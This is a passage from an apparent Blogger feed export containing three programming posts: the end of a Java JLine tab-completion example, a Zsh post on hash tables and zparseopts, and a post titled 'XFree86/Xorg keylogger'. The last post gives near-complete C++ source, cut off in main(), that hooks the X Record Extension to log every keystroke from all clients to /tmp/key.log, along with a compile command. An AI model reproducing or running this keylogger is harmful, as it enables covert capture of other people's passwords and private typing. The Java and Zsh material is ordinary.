SimpleCompletor(&lt;span class="Statement"&gt;new&lt;/span&gt; String[] {&lt;span class="Constant"&gt;"ps"&lt;/span&gt;}));&lt;br /&gt;   argCompletor2.add(&lt;span class="Statement"&gt;new&lt;/span&gt; SimpleCompletor(&lt;span class="Statement"&gt;new&lt;/span&gt; String[] {&lt;span class="Constant"&gt;"-ax"&lt;/span&gt;,&lt;br /&gt; &lt;span class="Constant"&gt;      "-axu"&lt;/span&gt;,&lt;span class="Constant"&gt;"--help"&lt;/span&gt;}));&lt;br /&gt;&lt;br /&gt;   List completors = &lt;span class="Statement"&gt;new&lt;/span&gt; LinkedList();&lt;br /&gt;   completors.add(&lt;span class="Statement"&gt;new&lt;/span&gt; ArgumentCompletor(argCompletor1));&lt;br /&gt;   completors.add(&lt;span class="Statement"&gt;new&lt;/span&gt; ArgumentCompletor(argCompletor2));&lt;br /&gt;&lt;br /&gt;   reader.addCompletor(&lt;span class="Statement"&gt;new&lt;/span&gt; MultiCompletor(completors));&lt;br /&gt;&lt;br /&gt;   String line;&lt;br /&gt;   PrintWriter out = &lt;span class="Statement"&gt;new&lt;/span&gt; PrintWriter(System.out);&lt;br /&gt;&lt;span class="Statement"&gt;    while&lt;/span&gt; ((line = reader.readLine(&lt;span class="Constant"&gt;"READY # "&lt;/span&gt;)) != &lt;span class="Constant"&gt;null&lt;/span&gt;) {&lt;br /&gt;       out.println(&lt;span class="Constant"&gt;"::"&lt;/span&gt; + line );&lt;br /&gt;       out.flush();&lt;br /&gt;&lt;span class="Statement"&gt;        if&lt;/span&gt; (line.equalsIgnoreCase(&lt;span class="Constant"&gt;"quit"&lt;/span&gt;) ||&lt;br /&gt;       line.equalsIgnoreCase(&lt;span class="Constant"&gt;"q"&lt;/span&gt;))&lt;br /&gt;&lt;span class="Statement"&gt;        break&lt;/span&gt;;&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;Basically each line in below ends with TAB key pressed, which causes JLine to generate proper completion.&lt;br /&gt;&lt;pre&gt;# java -cp jline-0.9.93.jar:. Cmdline&lt;br /&gt;READY #&lt;br /&gt;&lt;br /&gt;ls      mkdir   ps&lt;br /&gt;READY # ls /&lt;br /&gt;&lt;br /&gt;_darcs    bin       boot          dev       etc      fonts&lt;br /&gt;home      lib       lost+found    media     mnt      opt&lt;br /&gt;proc      root      sbin          sys       tmp      usr&lt;br /&gt;var&lt;br /&gt;READY # ls /mnt/c&lt;br /&gt;&lt;br /&gt;camera      cdrom       cdromaes&lt;br /&gt;READY # ps -&lt;br /&gt;&lt;br /&gt;--help   -ax      -axu&lt;br /&gt;READY # ps -ax&lt;br /&gt;&lt;br /&gt;-ax    -axu&lt;br /&gt;READY # mkdir&lt;br /&gt;&lt;br /&gt;Cmdline.class       Cmdline.java        jline-0.9.93.jar&lt;br /&gt;READY # mkdir /&lt;br /&gt;&lt;br /&gt;_darcs    bin       boot          dev       etc      fonts&lt;br /&gt;home      lib       lost+found    media     mnt      opt&lt;br /&gt;proc      root      sbin          sys       tmp      usr&lt;br /&gt;var&lt;br /&gt;&lt;/pre&gt;More information:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;http://java-readline.sourceforge.net/&lt;/li&gt;&lt;li&gt;http://jline.sourceforge.net/&lt;/li&gt;&lt;/ul&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2289497912865198302-3572808432682440656?l=emg-2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://emg-2.blogspot.com/feeds/3572808432682440656/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2289497912865198302&amp;postID=3572808432682440656' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2289497912865198302/posts/default/3572808432682440656'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2289497912865198302/posts/default/3572808432682440656'/><link rel='alternate' type='text/html' href='http://emg-2.blogspot.com/2008/03/comfortable-command-line-in-java.html' title='Comfortable command line in Java'/><author><name>Mariusz Gniazdowski</name><uri>http://www.blogger.com/profile/06471215319900365348</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2289497912865198302.post-5730604714796073724</id><published>2008-01-30T12:35:00.000-08:00</published><updated>2008-10-29T15:36:53.436-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='lowlevel'/><category scheme='http://www.blogger.com/atom/ns#' term='zsh'/><title type='text'>Zsh unique features</title><content type='html'>My favorite shell is The Z Shell. It has many features that can't be found in Bash, for example hash tables:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/bin/zsh&lt;br /&gt;typeset -A myArray&lt;br /&gt;myArray[someKey]=firstValue&lt;br /&gt;myArray[otherKey]=secondValue&lt;br /&gt;echo $myArray[someKey] , $myArray[otherKey]&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Using hash tables is very easy in Zsh. In Bash you can only emulate hashes.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Another unique Zsh feature is zparseopts. Look at following example:&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;pre&gt;&lt;br /&gt;#!/bin/zsh&lt;br /&gt;&lt;br /&gt;zmodload zparseopts&lt;br /&gt;zparseopts -D -E -A Args -- a b -aopt -bopt&lt;br /&gt;&lt;br /&gt;if (( ${+Args[-a]} )); then&lt;br /&gt;        echo "option -a given";&lt;br /&gt;fi&lt;br /&gt;if (( ${+Args[-b]} )); then&lt;br /&gt;        echo "option -b given";&lt;br /&gt;fi&lt;br /&gt;if (( ${+Args[--aopt]} )); then&lt;br /&gt;        echo "long option --aopt given";&lt;br /&gt;fi&lt;br /&gt;if (( ${+Args[--bopt]} )); then&lt;br /&gt;        echo "long option --bopt given";&lt;br /&gt;fi&lt;br /&gt;if [ "$#@" -gt 0 ]; then&lt;br /&gt;        echo Non option arguments are: "$@"&lt;br /&gt;fi&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Example outputs of this script:&lt;pre&gt;&lt;br /&gt;# ./parseex -a -b&lt;br /&gt;option -a given&lt;br /&gt;option -b given&lt;br /&gt;&lt;br /&gt;# ./parseex -a x y --bopt&lt;br /&gt;option -a given&lt;br /&gt;long option --bopt given&lt;br /&gt;Non option arguments are: x y&lt;br /&gt;&lt;br /&gt;# ./parseex -a x y --bopt -a&lt;br /&gt;option -a given&lt;br /&gt;long option --bopt given&lt;br /&gt;Non option arguments are: x y&lt;br /&gt;&lt;br /&gt;# ./parseex -ab x y --bopt z --aopt z&lt;br /&gt;option -a given&lt;br /&gt;option -b given&lt;br /&gt;long option --aopt given&lt;br /&gt;long option --bopt given&lt;br /&gt;Non option arguments are: x y z z&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Notice how extremely easy it is to parse command line options given in not straightforward form! Zparseopts will parse "-ab" as "-a -b" and "-a text -b text2" as "-a -b text text2"! Scripts written using zparseopts behave like normal console applications, because advanced command line options allow comfortable script invocation.&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2289497912865198302-5730604714796073724?l=emg-2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://emg-2.blogspot.com/feeds/5730604714796073724/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2289497912865198302&amp;postID=5730604714796073724' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2289497912865198302/posts/default/5730604714796073724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2289497912865198302/posts/default/5730604714796073724'/><link rel='alternate' type='text/html' href='http://emg-2.blogspot.com/2008/01/zsh-unique-features.html' title='Zsh unique features'/><author><name>Mariusz Gniazdowski</name><uri>http://www.blogger.com/profile/06471215319900365348</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2289497912865198302.post-5211288165907390970</id><published>2008-01-20T16:30:00.000-08:00</published><updated>2008-01-21T10:31:14.962-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='X11'/><title type='text'>XFree86/Xorg keylogger</title><content type='html'>&lt;div style="text-align: justify;"&gt;In order to address problems of recording and playback of user actions X Record Extension was created. It can be found for example in XFree86 and its derivatives (like X.org). Recording user actions can be used for automatic testing of GUI applications, for example Xnee was created for this purpose and it uses Record Extension to catch user actions. But that's not all! :&gt; Record extension can also be used for.. &lt;span style="font-weight: bold;"&gt;keylogging :)&lt;/span&gt; While I was developing one of my projects — &lt;a href="http://keyfrog.sf.net/"&gt;Keyfrog&lt;/a&gt; — I discovered, that it is very easy to  catch every keystroke user makes.&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Below you can see the code. It saves every pressed key to file /tmp/key.log. Code is 140 lines long because it is modified Keyfrog code, which is written in C++ using OOP paradigms and, of course, with aesthetics and ease of use of API in mind. It can be much shorter if you compress it and write it in pure C. I think 70 lines is enough. Remember that described keylogger will work only if Record Extension is loaded into X server. To compile included code, use following command:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;   # g++ keylogger.cpp  -L/usr/X11R6/lib -lXtst -lX11&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre  style="line-height: 11px;font-size:10px;"&gt;&lt;br /&gt;&lt;span class="lnr"&gt;  1 &lt;/span&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;X11/Xlibint.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;  2 &lt;/span&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;X11/Xlib.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;  3 &lt;/span&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;X11/Xutil.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;  4 &lt;/span&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;X11/Xos.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;  5 &lt;/span&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;X11/Shell.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;  6 &lt;/span&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;X11/cursorfont.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;  7 &lt;/span&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;X11/keysymdef.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;  8 &lt;/span&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;X11/keysym.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;  9 &lt;/span&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;X11/extensions/record.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 10 &lt;/span&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;X11/extensions/XTest.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 11 &lt;/span&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 12 &lt;/span&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;exception&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 13 &lt;/span&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 14 &lt;/span&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 15 &lt;/span&gt;&lt;span class="Statement"&gt;using&lt;/span&gt; &lt;span class="Type"&gt;namespace&lt;/span&gt; std;&lt;br /&gt;&lt;span class="lnr"&gt; 16 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 17 &lt;/span&gt;&lt;span class="Type"&gt;struct&lt;/span&gt; CallbackClosure {&lt;br /&gt;&lt;span class="lnr"&gt; 18 &lt;/span&gt;    Display *ctrlDisplay;&lt;br /&gt;&lt;span class="lnr"&gt; 19 &lt;/span&gt;    Display *dataDisplay;&lt;br /&gt;&lt;span class="lnr"&gt; 20 &lt;/span&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; curX;&lt;br /&gt;&lt;span class="lnr"&gt; 21 &lt;/span&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; curY;&lt;br /&gt;&lt;span class="lnr"&gt; 22 &lt;/span&gt;    &lt;span class="Type"&gt;void&lt;/span&gt; *initialObject;&lt;br /&gt;&lt;span class="lnr"&gt; 23 &lt;/span&gt;};&lt;br /&gt;&lt;span class="lnr"&gt; 24 &lt;/span&gt;&lt;span class="Type"&gt;typedef&lt;/span&gt; &lt;span class="Type"&gt;union&lt;/span&gt; {&lt;br /&gt;&lt;span class="lnr"&gt; 25 &lt;/span&gt;    &lt;span class="Type"&gt;unsigned&lt;/span&gt; &lt;span class="Type"&gt;char&lt;/span&gt; type;&lt;br /&gt;&lt;span class="lnr"&gt; 26 &lt;/span&gt;    xEvent event;&lt;br /&gt;&lt;span class="lnr"&gt; 27 &lt;/span&gt;    xResourceReq req;&lt;br /&gt;&lt;span class="lnr"&gt; 28 &lt;/span&gt;    xGenericReply reply;&lt;br /&gt;&lt;span class="lnr"&gt; 29 &lt;/span&gt;    xError error;&lt;br /&gt;&lt;span class="lnr"&gt; 30 &lt;/span&gt;    xConnSetupPrefix setup;&lt;br /&gt;&lt;span class="lnr"&gt; 31 &lt;/span&gt;} XRecordDatum;&lt;br /&gt;&lt;span class="lnr"&gt; 32 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 33 &lt;/span&gt;&lt;span class="Type"&gt;class&lt;/span&gt; KeyLogger {&lt;br /&gt;&lt;span class="lnr"&gt; 34 &lt;/span&gt;string m_displayName;&lt;br /&gt;&lt;span class="lnr"&gt; 35 &lt;/span&gt;CallbackClosure userData;&lt;br /&gt;&lt;span class="lnr"&gt; 36 &lt;/span&gt;std::pair&amp;lt;&lt;span class="Type"&gt;int&lt;/span&gt;,&lt;span class="Type"&gt;int&lt;/span&gt;&amp;gt; recVer;&lt;br /&gt;&lt;span class="lnr"&gt; 37 &lt;/span&gt;XRecordRange *recRange;&lt;br /&gt;&lt;span class="lnr"&gt; 38 &lt;/span&gt;XRecordClientSpec recClientSpec;&lt;br /&gt;&lt;span class="lnr"&gt; 39 &lt;/span&gt;XRecordContext recContext;&lt;br /&gt;&lt;span class="lnr"&gt; 40 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 41 &lt;/span&gt;&lt;span class="Type"&gt;void&lt;/span&gt; setupRecordExtension() {&lt;br /&gt;&lt;span class="lnr"&gt; 42 &lt;/span&gt;    XSynchronize(userData.ctrlDisplay, True);&lt;br /&gt;&lt;span class="lnr"&gt; 43 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 44 &lt;/span&gt;    &lt;span class="Comment"&gt;// Record extension exists?&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 45 &lt;/span&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (!XRecordQueryVersion (userData.ctrlDisplay,&lt;br /&gt;&lt;span class="lnr"&gt; 46 &lt;/span&gt;                &amp;amp;recVer.first, &amp;amp;recVer.second))&lt;br /&gt;&lt;span class="lnr"&gt; 47 &lt;/span&gt;    {&lt;br /&gt;&lt;span class="lnr"&gt; 48 &lt;/span&gt;        cout &amp;lt;&amp;lt; &lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;&lt;span class="SpecialChar"&gt;%s&lt;/span&gt;&lt;span class="Constant"&gt;There is no RECORD extension loaded to X server.&lt;/span&gt;&lt;span class="SpecialChar"&gt;\n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 49 &lt;/span&gt;            &lt;span class="Constant"&gt;&amp;quot;You must add following line:&lt;/span&gt;&lt;span class="SpecialChar"&gt;\n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 50 &lt;/span&gt;            &lt;span class="Constant"&gt;&amp;quot;   Load  &lt;/span&gt;&lt;span class="SpecialChar"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="Constant"&gt;record&lt;/span&gt;&lt;span class="SpecialChar"&gt;\&amp;quot;\n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 51 &lt;/span&gt;            &lt;span class="Constant"&gt;&amp;quot;to /etc/X11/xorg.conf, in section `Module'.&lt;/span&gt;&lt;span class="SpecialChar"&gt;%s&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt; &amp;lt;&amp;lt; endl;&lt;br /&gt;&lt;span class="lnr"&gt; 52 &lt;/span&gt;        &lt;span class="Statement"&gt;throw&lt;/span&gt; exception();&lt;br /&gt;&lt;span class="lnr"&gt; 53 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt; 54 &lt;/span&gt;    cout &amp;lt;&amp;lt; &lt;span class="Constant"&gt;&amp;quot;Record extension v&amp;quot;&lt;/span&gt; &amp;lt;&amp;lt; recVer.first &amp;lt;&amp;lt; &lt;span class="Constant"&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 55 &lt;/span&gt;        &amp;lt;&amp;lt; recVer.second &amp;lt;&amp;lt; endl;&lt;br /&gt;&lt;span class="lnr"&gt; 56 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 57 &lt;/span&gt;    recRange = XRecordAllocRange ();&lt;br /&gt;&lt;span class="lnr"&gt; 58 &lt;/span&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (!recRange) {&lt;br /&gt;&lt;span class="lnr"&gt; 59 &lt;/span&gt;        &lt;span class="Comment"&gt;// &amp;quot;Could not alloc record range object!\n&amp;quot;;&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 60 &lt;/span&gt;        &lt;span class="Statement"&gt;throw&lt;/span&gt; exception();&lt;br /&gt;&lt;span class="lnr"&gt; 61 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt; 62 &lt;/span&gt;    recRange-&amp;gt;device_events.first = KeyPress;&lt;br /&gt;&lt;span class="lnr"&gt; 63 &lt;/span&gt;    recRange-&amp;gt;device_events.last = KeyPress;&lt;br /&gt;&lt;span class="lnr"&gt; 64 &lt;/span&gt;    recClientSpec = XRecordAllClients;&lt;br /&gt;&lt;span class="lnr"&gt; 65 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 66 &lt;/span&gt;    &lt;span class="Comment"&gt;// Get context with our configuration&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 67 &lt;/span&gt;    recContext = XRecordCreateContext (userData.ctrlDisplay, &lt;span class="Number"&gt;0&lt;/span&gt;,&lt;br /&gt;&lt;span class="lnr"&gt; 68 &lt;/span&gt;            &amp;amp;recClientSpec, &lt;span class="Number"&gt;1&lt;/span&gt;, &amp;amp;recRange, &lt;span class="Number"&gt;1&lt;/span&gt;);&lt;br /&gt;&lt;span class="lnr"&gt; 69 &lt;/span&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (!recContext) {&lt;br /&gt;&lt;span class="lnr"&gt; 70 &lt;/span&gt;        cout &amp;lt;&amp;lt; &lt;span class="Constant"&gt;&amp;quot;Could not create a record context!&amp;quot;&lt;/span&gt; &amp;lt;&amp;lt; endl;&lt;br /&gt;&lt;span class="lnr"&gt; 71 &lt;/span&gt;        &lt;span class="Statement"&gt;throw&lt;/span&gt; exception();&lt;br /&gt;&lt;span class="lnr"&gt; 72 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt; 73 &lt;/span&gt;}&lt;br /&gt;&lt;span class="lnr"&gt; 74 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 75 &lt;/span&gt;&lt;span class="Comment"&gt;// Called from Xserver when new event occurs.&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 76 &lt;/span&gt;&lt;span class="StorageClass"&gt;static&lt;/span&gt; &lt;span class="Type"&gt;void&lt;/span&gt; eventCallback(XPointer priv, XRecordInterceptData *hook) {&lt;br /&gt;&lt;span class="lnr"&gt; 77 &lt;/span&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (hook-&amp;gt;category != XRecordFromServer) {&lt;br /&gt;&lt;span class="lnr"&gt; 78 &lt;/span&gt;        XRecordFreeData(hook);&lt;br /&gt;&lt;span class="lnr"&gt; 79 &lt;/span&gt;        &lt;span class="Statement"&gt;return&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt; 80 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt; 81 &lt;/span&gt;    CallbackClosure *userData = (CallbackClosure *)priv;&lt;br /&gt;&lt;span class="lnr"&gt; 82 &lt;/span&gt;    XRecordDatum *data = (XRecordDatum *) hook-&amp;gt;data;&lt;br /&gt;&lt;span class="lnr"&gt; 83 &lt;/span&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt;(data-&amp;gt;event.u.u.type == KeyPress) {&lt;br /&gt;&lt;span class="lnr"&gt; 84 &lt;/span&gt;        &lt;span class="Type"&gt;int&lt;/span&gt; c = data-&amp;gt;event.u.u.detail;&lt;br /&gt;&lt;span class="lnr"&gt; 85 &lt;/span&gt;        &lt;span class="Type"&gt;FILE&lt;/span&gt; *output = fopen(&lt;span class="Constant"&gt;&amp;quot;/tmp/key.log&amp;quot;&lt;/span&gt;, &lt;span class="Constant"&gt;&amp;quot;a+&amp;quot;&lt;/span&gt;);&lt;br /&gt;&lt;span class="lnr"&gt; 86 &lt;/span&gt;        fprintf(output,&lt;span class="Constant"&gt;&amp;quot;[&lt;/span&gt;&lt;span class="SpecialChar"&gt;%s&lt;/span&gt;&lt;span class="Constant"&gt;]&lt;/span&gt;&lt;span class="SpecialChar"&gt;\n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;,&lt;br /&gt;&lt;span class="lnr"&gt; 87 &lt;/span&gt;                XKeysymToString(&lt;br /&gt;&lt;span class="lnr"&gt; 88 &lt;/span&gt;                    XKeycodeToKeysym(userData-&amp;gt;ctrlDisplay,c,&lt;span class="Number"&gt;0&lt;/span&gt;)));&lt;br /&gt;&lt;span class="lnr"&gt; 89 &lt;/span&gt;        fclose(output);&lt;br /&gt;&lt;span class="lnr"&gt; 90 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt; 91 &lt;/span&gt;    XRecordFreeData(hook);&lt;br /&gt;&lt;span class="lnr"&gt; 92 &lt;/span&gt;}&lt;br /&gt;&lt;span class="lnr"&gt; 93 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 94 &lt;/span&gt;&lt;span class="Statement"&gt;public&lt;/span&gt;:&lt;br /&gt;&lt;span class="lnr"&gt; 95 &lt;/span&gt;KeyLogger() { }&lt;br /&gt;&lt;span class="lnr"&gt; 96 &lt;/span&gt;~KeyLogger() {&lt;br /&gt;&lt;span class="lnr"&gt; 97 &lt;/span&gt;    stop();&lt;br /&gt;&lt;span class="lnr"&gt; 98 &lt;/span&gt;}&lt;br /&gt;&lt;span class="lnr"&gt; 99 &lt;/span&gt;&lt;span class="Type"&gt;void&lt;/span&gt; processData() {&lt;br /&gt;&lt;span class="lnr"&gt;100 &lt;/span&gt;    XRecordProcessReplies (userData.dataDisplay);&lt;br /&gt;&lt;span class="lnr"&gt;101 &lt;/span&gt;}&lt;br /&gt;&lt;span class="lnr"&gt;102 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;103 &lt;/span&gt;&lt;span class="Type"&gt;bool&lt;/span&gt; connect(string displayName) {&lt;br /&gt;&lt;span class="lnr"&gt;104 &lt;/span&gt;    m_displayName = displayName;&lt;br /&gt;&lt;span class="lnr"&gt;105 &lt;/span&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (&lt;span class="Constant"&gt;NULL&lt;/span&gt; == (userData.ctrlDisplay =&lt;br /&gt;&lt;span class="lnr"&gt;106 &lt;/span&gt;                XOpenDisplay(m_displayName.c_str())) )&lt;br /&gt;&lt;span class="lnr"&gt;107 &lt;/span&gt;        &lt;span class="Statement"&gt;return&lt;/span&gt; &lt;span class="Constant"&gt;false&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;108 &lt;/span&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (&lt;span class="Constant"&gt;NULL&lt;/span&gt; == (userData.dataDisplay =&lt;br /&gt;&lt;span class="lnr"&gt;109 &lt;/span&gt;                XOpenDisplay(m_displayName.c_str())) ) {&lt;br /&gt;&lt;span class="lnr"&gt;110 &lt;/span&gt;        XCloseDisplay(userData.ctrlDisplay);&lt;br /&gt;&lt;span class="lnr"&gt;111 &lt;/span&gt;        userData.ctrlDisplay = &lt;span class="Constant"&gt;NULL&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;112 &lt;/span&gt;        &lt;span class="Statement"&gt;return&lt;/span&gt; &lt;span class="Constant"&gt;false&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;113 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt;114 &lt;/span&gt;    &lt;span class="Comment"&gt;// You may want to set custom X error handler here&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;115 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;116 &lt;/span&gt;    userData.initialObject = (&lt;span class="Type"&gt;void&lt;/span&gt; *)&lt;span class="Statement"&gt;this&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;117 &lt;/span&gt;    setupRecordExtension();&lt;br /&gt;&lt;span class="lnr"&gt;118 &lt;/span&gt;    &lt;span class="Statement"&gt;return&lt;/span&gt; &lt;span class="Constant"&gt;true&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;119 &lt;/span&gt;}&lt;br /&gt;&lt;span class="lnr"&gt;120 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;121 &lt;/span&gt;&lt;span class="Type"&gt;void&lt;/span&gt; start() {&lt;br /&gt;&lt;span class="lnr"&gt;122 &lt;/span&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (!XRecordEnableContextAsync (userData.dataDisplay,&lt;br /&gt;&lt;span class="lnr"&gt;123 &lt;/span&gt;                recContext, eventCallback, (XPointer) &amp;amp;userData))&lt;br /&gt;&lt;span class="lnr"&gt;124 &lt;/span&gt;    {&lt;br /&gt;&lt;span class="lnr"&gt;125 &lt;/span&gt;        &lt;span class="Statement"&gt;throw&lt;/span&gt; exception();&lt;br /&gt;&lt;span class="lnr"&gt;126 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt;127 &lt;/span&gt;}&lt;br /&gt;&lt;span class="lnr"&gt;128 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;129 &lt;/span&gt;&lt;span class="Type"&gt;void&lt;/span&gt; stop() {&lt;br /&gt;&lt;span class="lnr"&gt;130 &lt;/span&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt;(!XRecordDisableContext (userData.ctrlDisplay, recContext))&lt;br /&gt;&lt;span class="lnr"&gt;131 &lt;/span&gt;        &lt;span class="Statement"&gt;throw&lt;/span&gt; exception();&lt;br /&gt;&lt;span class="lnr"&gt;132 &lt;/span&gt;}&lt;br /&gt;&lt;span class="lnr"&gt;133 &lt;/span&gt;};&lt;br /&gt;&lt;span class="lnr"&gt;134 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;135 &lt;/span&gt;&lt;span class="Type"&gt;int&lt;/span&gt; main() {&lt;br /&gt;&lt;span class="lnr"&gt;136 &lt;/span&gt;    KeyLogger keylogger;&lt;br /&gt;&lt;span class="lnr"&gt;137 &lt;/span&gt;    &lt;span 